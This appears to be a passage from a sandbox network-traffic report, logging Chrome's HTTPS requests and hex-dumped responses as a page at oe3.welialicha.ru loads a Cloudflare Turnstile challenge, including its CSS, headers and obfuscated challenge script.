2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 53 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 Data Ascii: yle.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.top="0px",E.style.overflow="hidden",E.style.margin="0px auto";var S=document.createElement("iframe");S.id="".concat(e,"-fr"),S.setAttribute("src",h),S.setAttribute("allow"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49731	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:26 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://oe3.welialicha.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:26 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26636 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-07 14:18:26 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 65 34 39 33 62 62 30 65 35 65 31 38 64 30 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8fe493bb0e5e18d0-EWRalt-svc: h3=":443"; ma=86400
2025-01-07 14:18:26 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49732	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:27 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fe493bb0e5e18d0&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:27 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:27 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115260 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fe493bf8b285e80-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:27 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 Data Ascii: 0a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","human_button_text":"Verify%20you%20are%20human","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Upd
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 66 4b 2c 66 56 2c 66 5a 2c 67 30 2c 67 31 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 34 30 37 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 34 34 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 35 34 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 32 34 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 32 35 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 38 31 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 32 38 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 Data Ascii: fK,fV,fZ,g0,g1,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(407))/1(parseInt(gI(944))/2)+-parseInt(gI(554))/3(-parseInt(gI(624))/4)+parseInt(gI(1525))/5+parseInt(gI(981))/6+parseInt(gI(1728))/7*(-parseInt(gI(78
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 28 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 67 4f 28 35 32 31 29 5d 28 68 5b 44 5d 29 2c 67 4f 28 31 35 34 32 29 3d 3d 3d 69 2b 44 3f 73 28 6f 5b 67 4f 28 34 33 38 29 5d 28 69 2c 44 29 2c 45 29 3a 46 7c 7c 73 28 69 2b 44 2c 68 5b 44 5d 29 29 3a 6f 5b 67 4f 28 38 38 38 29 5d 28 73 2c 6f 5b 67 4f 28 31 32 33 37 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 4e 29 7b 67 4e 3d 62 2c 4f 62 6a 65 63 74 5b 67 4e 28 31 31 31 33 29 5d 5b 67 4e 28 31 34 32 30 29 5d 5b 67 4e 28 39 39 35 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4e 28 31 34 30 31 29 5d 28 47 29 7d 7d 2c 65 54 3d 67 4a 28 37 34 36 29 5b 67 4a 28 38 34 36 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 Data Ascii: (F='s'===E&&!g[gO(521)](h[D]),gO(1542)===i+D?s(o[gO(438)](i,D),E):F\|\|s(i+D,h[D])):o[gO(888)](s,o[gO(1237)](i,D),E),C++);return j;function s(G,H,gN){gN=b,Object[gN(1113)][gN(1420)][gN(995)](j,H)\|\|(j[H]=[]),j[H][gN(1401)](G)}},eT=gJ(746)[gJ(846)](';'),eU=eT
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 67 55 28 33 39 35 29 5d 3d 67 55 28 37 37 37 29 2c 6a 5b 67 55 28 39 37 30 29 5d 3d 67 55 28 31 35 30 33 29 2c 6a 5b 67 55 28 34 31 31 29 5d 3d 67 55 28 35 30 31 29 2c 6a 5b 67 55 28 34 32 32 29 5d 3d 67 55 28 31 31 34 36 29 2c 6a 29 3b 74 72 79 7b 69 66 28 6c 3d 65 56 28 67 5b 67 55 28 31 34 33 34 29 5d 2c 67 5b 67 55 28 31 34 35 30 29 5d 29 2c 6b 5b 67 55 28 38 34 39 29 5d 28 67 5b 67 55 28 31 34 33 34 29 5d 2c 45 72 72 6f 72 29 29 7b 69 66 28 6b 5b 67 55 28 31 31 36 34 29 5d 21 3d 3d 67 55 28 34 35 33 29 29 72 65 74 75 72 6e 20 65 5b 67 55 28 31 32 31 36 29 5d 28 44 29 3b 65 6c 73 65 20 67 5b 67 55 28 31 34 33 34 29 5d 3d 4a 53 4f 4e 5b 67 55 28 31 35 33 32 29 5d 28 67 5b 67 55 28 31 34 33 34 29 5d 2c 4f Data Ascii: ){return G+H},j[gU(395)]=gU(777),j[gU(970)]=gU(1503),j[gU(411)]=gU(501),j[gU(422)]=gU(1146),j);try{if(l=eV(g[gU(1434)],g[gU(1450)]),k[gU(849)](g[gU(1434)],Error)){if(k[gU(1164)]!==gU(453))return e[gU(1216)](D);else g[gU(1434)]=JSON[gU(1532)](g[gU(1434)],O
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 56 28 39 32 35 29 5d 29 29 66 5b 67 56 28 31 33 30 30 29 5d 5b 67 56 28 39 31 31 29 5d 3d 67 5b 67 56 28 36 35 38 29 5d 28 29 2c 68 28 29 3b 65 6c 73 65 20 69 66 28 28 66 3d 64 5b 67 56 28 38 37 37 29 5d 2c 64 5b 67 56 28 36 38 36 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 67 56 28 36 38 36 29 5d 3d 3d 3d 65 5b 67 56 28 31 35 36 33 29 5d 29 26 26 28 6a 3d 64 5b 67 56 28 36 38 36 29 5d 5b 67 56 28 38 34 36 29 5d 28 27 5c 6e 27 29 2c 6a 5b 67 56 28 31 35 33 36 29 5d 3e 31 29 29 7b 69 66 28 67 56 28 37 30 37 29 3d 3d 3d 67 56 28 31 34 38 38 29 29 7b 69 66 28 66 28 29 29 72 65 74 75 72 6e 3b 65 5b 67 56 28 39 31 37 29 5d 28 67 2c 65 5b 67 56 28 36 39 32 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 73 2c 67 57 29 7b 67 57 3d 67 56 2c 73 5b 67 57 28 31 31 38 39 29 5d 3d 65 Data Ascii: V(925)]))f[gV(1300)][gV(911)]=g[gV(658)](),h();else if((f=d[gV(877)],d[gV(686)]&&typeof d[gV(686)]===e[gV(1563)])&&(j=d[gV(686)][gV(846)]('\n'),j[gV(1536)]>1)){if(gV(707)===gV(1488)){if(f())return;e[gV(917)](g,e[gV(692)],function(s,gW){gW=gV,s[gW(1189)]=e
